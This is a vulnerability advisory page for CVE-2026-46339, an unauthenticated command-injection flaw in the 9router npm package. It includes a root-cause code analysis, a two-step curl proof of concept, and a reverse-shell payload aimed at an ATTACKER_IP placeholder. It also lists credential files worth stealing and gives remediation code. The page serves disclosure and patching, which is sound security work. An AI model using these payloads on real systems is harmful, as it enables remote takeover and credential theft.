Skip to main content

9router CVE-2026-46339

CRITICAL
OS Command Injection (CWE-78)
2026-05-19 https://github.com/decolua/9router GHSA-fhh6-4qxv-rpqj
10.0
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
May 19, 2026 - 20:00 vuln.today
Analysis Generated
May 19, 2026 - 20:00 vuln.today

DescriptionNVD

Summary

9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process - with zero prerequisites and no credentials required.

The vulnerability exists because the Next.js middleware that enforces authentication (src/proxy.js) only guards 8 explicitly listed routes. The attack surface of /api/cli-tools/* and /api/mcp/* (40+ routes) receives no authentication whatsoever.

---

Root Cause

1. Middleware Allowlist Is Too Narrow

File: src/proxy.js

js
export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
  ],
};

Next.js middleware only runs on routes matching this list. Routes NOT listed - including /api/cli-tools/* and /api/mcp/* - bypass the dashboardGuard auth check entirely.

2. Unguarded Endpoint Accepts Arbitrary Command Registration

File: src/app/api/cli-tools/cowork-settings/route.js, lines 292-319

js
export async function POST(request) {
  const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();
  // ...
  const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];

  if (customPluginsArray.length > 0) {
    const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge");
    const stdioCustoms = customPluginsArray
      .filter((p) => p.command)
      .map((p) => ({
        name: p.name,
        command: p.command,   // ← attacker-controlled, no validation
        args: p.args || [],   // ← attacker-controlled, no validation
      }));
    for (const p of stdioCustoms) registerCustomPlugin(p);   // stores in globalThis
  }
}

The command and args fields from the attacker's JSON are stored verbatim into globalThis.__9routerCustomPlugins - a process-global Map that survives Hot Module Replacement.

File: src/lib/mcp/stdioSseBridge.js, lines 114-116

js
function registerCustomPlugin(def) {
  getCustomStore().set(def.name, def);   // no validation of command/args
}

3. Unguarded SSE Endpoint Triggers spawn() with Stored Command

File: src/app/api/mcp/[plugin]/sse/route.js, lines 6-25

js
export async function GET(request, { params }) {
  const { plugin } = await params;
  if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });

  const stream = new ReadableStream({
    start(controller) {
      sid = registerSession(plugin, send);   // ← spawn() called here
    },
  });
  return new Response(stream, { ... });
}

File: src/lib/mcp/stdioSseBridge.js, line 138

js
const proc = spawn(plugin.command, plugin.args, {
  stdio: ["pipe", "pipe", "pipe"],
  env: process.env,   // inherits full environment
});

spawn() is called with shell: false (default), but since the attacker controls both plugin.command (the binary path) and plugin.args, this is equivalent to arbitrary command execution.

---

Attack Chain

Attacker (no credentials)
    │
    │  Step 1 - Register malicious plugin (POST, no auth)
    ▼
POST /api/cli-tools/cowork-settings
Content-Type: application/json

{
  "baseUrl": "x", "apiKey": "x", "models": ["x"],
  "customPlugins": [{
    "name":    "rev",
    "command": "/bin/bash",
    "args":    ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
  }]
}

    ← {"success":true, ...}

    │  Step 2 - Trigger spawn() via SSE endpoint (GET, no auth)
    ▼
GET /api/mcp/rev/sse

    ← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."])
    ← Reverse shell connects to attacker

Time to exploit from first request: < 2 seconds. Prerequisites: Network access to port 20128 (Docker default: 0.0.0.0:20128).

---

Proof of Concept

PoC 1 - File Write (no listener required)

bash
# Step 1: Register payload
curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \
  -H 'Content-Type: application/json' \
  -d '{
    "baseUrl":"x","apiKey":"x","models":["x"],
    "customPlugins":[{
      "name":"rce1",
      "command":"/bin/sh",
      "args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"]
    }]
  }'
# → {"success":true,...}
# Step 2: Trigger
curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1
# Verify
cat /tmp/pwned.txt

Observed output (on local test instance):

uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)
sondt23
VSOC-sondt23-L
Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux

PoC 2 - Automated PoC script

bash
# File write mode (for report)
python3 poc.py --target http://TARGET:20128 --mode file
# Reverse shell mode (interactive)
python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444

The script (poc.py) is included in this advisory.

---

Impact

CategoryDetail
ConfidentialityFull read access to server filesystem - API keys, TLS private keys, ~/.claude/settings.json (Anthropic tokens), AWS credentials
IntegrityArbitrary file write, persistence via cron/systemd
AvailabilityProcess termination, resource exhaustion
Lateral movementdocker group membership (confirmed in test) allows full container escape → host root
ScopeRemote, unauthenticated, network-accessible

High-value exfiltration targets on a typical 9router host

  • ~/.claude/settings.json - ANTHROPIC_AUTH_TOKEN
  • ~/.aws/credentials, ~/.aws/sso/cache/*.json - AWS keys
  • $DATA_DIR/db.sqlite - 9router local database (all stored API keys, provider configs)
  • TLS private keys managed by the MITM proxy (src/mitm/)

---

Affected Versions

VersionAffectedNotes
< v0.4.30Nocowork-settings and MCP SSE bridge did not exist
v0.4.30YesIntroduced in commit 8f4d29c (2026-05-11)
v0.4.31Yes
v0.4.32Yes
v0.4.33YesLatest at time of disclosure

The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.

---

Remediation

Fix 1 - Extend middleware matcher (minimal fix)

File: src/proxy.js

js
export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
    // ADD these:
    "/api/cli-tools/:path*",
    "/api/mcp/:path*",
  ],
};

Fix 2 - Validate command in registerCustomPlugin (defense-in-depth)

File: src/lib/mcp/stdioSseBridge.js

js
const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]);

function registerCustomPlugin(def) {
  const bin = def.command?.split("/").pop();   // basename only
  if (!ALLOWED_MCP_COMMANDS.has(bin)) {
    throw new Error(`Blocked: command '${def.command}' not in allowlist`);
  }
  getCustomStore().set(def.name, def);
}

Fix 3 - Sanitize customPlugins at the API boundary

File: src/app/api/cli-tools/cowork-settings/route.js, line 312

js
const stdioCustoms = customPluginsArray
  .filter((p) => p.command && typeof p.command === "string")
  .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command)))   // allowlist check
  .map((p) => ({
    name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""),           // sanitize name
    command: p.command,
    args: (p.args || []).map(String),
  }));

All three fixes should be applied together. Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.

---

AnalysisAI

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent attackers to execute arbitrary OS commands by chaining two unprotected API endpoints. The Next.js authentication middleware in src/proxy.js uses a narrow route allowlist that excludes /api/cli-tools/* and /api/mcp/*, letting an attacker register an arbitrary command via POST /api/cli-tools/cowork-settings and then trigger spawn() via GET /api/mcp/[plugin]/sse. …

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

24 hours: Identify all applications in production and development using 9router versions 0.4.30-0.4.36; document systems exposed to untrusted networks; begin assessment of patching feasibility. 7 days: Check npm registry for patched version greater than 0.4.36 or evaluate alternative packages; if upgrade unavailable, implement network segmentation to restrict access to /api/cli-tools/* and /api/mcp/* endpoints; deploy Web Application Firewall rules if available. …

Sign in for detailed remediation steps.

Share

CVE-2026-46339 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy